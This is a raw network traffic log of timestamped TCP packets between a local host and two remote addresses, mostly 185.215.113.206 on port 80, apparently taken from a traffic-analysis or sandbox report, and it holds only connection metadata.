Nov 23, 2024 05:02:51.006423950 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.006844044 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.006855965 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.006923914 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.006956100 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.006957054 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.007004023 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.007205963 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.007215023 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.007301092 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.007781982 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.007797003 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.007971048 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.007993937 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.008121967 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.008136034 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.008234978 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.008245945 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.008347034 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.008359909 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.008497953 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:51.008508921 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:51.088525057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.088649035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.088669062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.088721991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.088968992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.089035988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.089108944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.089173079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.089962959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.090033054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.090097904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.090174913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.093832016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.093873978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.093897104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.093940973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.093987942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.094024897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.094079018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.094108105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.094144106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.094153881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.094240904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.094700098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.094737053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.094799995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.094799995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.095675945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.095711946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.095741034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.095752001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.096591949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.096642971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.096733093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.096982002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.097522020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.097558022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.097598076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.098474979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.098531961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.098618984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.098661900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.099400997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.099467039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.099555969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.099615097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.100339890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.100404024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.100449085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.100512028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.101382017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.101417065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.101437092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.101457119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.102309942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.102348089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.102401972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.103271961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.103338957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.103431940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.103482962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.104221106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.104278088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.104288101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.104336023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.168318033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.168416023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.168478966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.168826103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.168900967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.168929100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.169033051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.169549942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.169671059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.169738054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.170486927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.170552015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.170615911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.170671940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.171453953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.171539068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.171552896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.171608925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.172401905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.172463894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.172518969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.172578096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.173414946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.173485994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.173561096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.173646927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.174351931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.174388885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.174468040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.174468040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.175276995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.175350904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.175354958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.175498962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.176208973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.176271915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.176343918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.176394939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.177175999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.177290916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.177301884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.177356958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.178138018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.178237915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.178283930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.178283930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.179090023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.179203987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.179260969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.180033922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.180171967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.180223942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.180968046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.181034088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.181092978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.181248903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.181930065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.181987047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.182060957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.182137012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.182904959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.182971001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.183032990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.183096886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.183883905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.183948994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.184012890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.184077978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.184782028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.184847116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.184937954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.185003042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.185870886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.185972929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.185992956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.186094999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.186726093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.186789036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.186850071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.186908007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.187654972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.187716007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.187777042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.187832117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.188716888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.188779116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.188834906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.188966990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.189569950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.189631939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.189677000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.189728975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.190520048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.190583944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.190637112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.190695047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.191483974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.191560030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.191597939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.191654921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.192420959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.192536116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.192539930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.192588091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.193381071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.193456888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.193509102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.193563938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.194339991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.194403887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.194458961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.194520950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.195302963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.195367098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.195417881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.195471048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.196261883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.196343899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.196368933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.196415901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.197220087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.197274923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.197309017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.197330952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.198158026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.198210001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.198272943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.198319912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.199136972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.199268103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.199299097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.199388027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.200042963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.200098991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.200160980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.200216055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.201008081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.201076984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.201133013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.201185942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.201967955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.202020884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.202126026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.202171087 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.289839029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.289963007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.290026903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.290340900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.290378094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.290400982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.290422916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.291270018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.291346073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.291393042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.291465044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.292150974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.292206049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.292278051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.292560101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.293119907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.293181896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.293243885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.293303013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.294049978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.294115067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.294172049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.294250011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.295021057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.295075893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.295150995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.295295954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.295964956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.296025038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.296082973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.296135902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.296972036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.297008038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.297027111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.297051907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.297868013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.297923088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.297930002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.297967911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.298855066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.298908949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.298917055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.298953056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.299779892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.299837112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.299891949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.299945116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.300718069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.300777912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.300841093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.301029921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.301686049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.301747084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.301801920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.301966906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.302617073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.302676916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.302741051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.302839041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.303626060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.303663969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.303683996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.303706884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.304578066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.304610014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.304632902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.304655075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.370058060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.370100021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.370160103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.370160103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.370387077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.370452881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.370513916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.370567083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.371355057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.371392012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.371423006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.371458054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.372309923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.372379065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.372423887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.372477055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.373251915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.373317957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.373366117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.373416901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.374231100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.374321938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.374346018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.374500990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.375154972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.375221014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.375288963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.375417948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.376102924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.376163960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.376213074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.376271963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.377073050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.377163887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.377180099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.377213001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.378042936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.378149033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.378173113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.378206015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:51.378984928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:51.379040956 CET	80	49819	185.215.113.206	192.168.2.6
